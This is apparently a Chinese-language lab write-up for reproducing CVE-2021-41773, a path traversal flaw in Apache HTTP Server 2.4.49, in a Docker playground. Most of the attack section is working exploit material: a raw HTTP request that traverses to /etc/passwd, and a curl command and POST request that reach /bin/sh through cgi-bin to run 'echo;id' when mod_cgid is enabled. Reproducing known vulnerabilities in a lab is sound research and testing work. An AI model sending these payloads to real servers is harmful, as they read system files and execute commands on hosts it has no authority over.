存在漏洞的版本：仅影响Apache HTTP Server 2.4.49版本

推荐环境：GitHub - blasty/CVE-2021-41773: CVE-2021-41773 playground

下载后：

docker-compose build && docker-compose up

如果遇到：

 则进入容器，修改

vim /etc/apache2/apache2.conf

最后一行加入：

ServerName localhost:80 

修改后重启：

apachectl restart

Poc:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "29cd-5cdd3418a72f6-gzip"
If-Modified-Since: Fri, 08 Oct 2021 08:35:04 GMT
Connection: close

 效果：

curl --data "echo;id" 'http://xx.xx.xx.xx:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: xx.xx.xx.xx:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
Connection: close

echo;id

注意：这里需要开启mod_cgid

ls /etc/apache2/mods-available/ |grep cgi

 

 

参考：CVE-2021-41773升华篇-Apache HTTP Server 路径穿越漏洞提升至RCE回显深入分析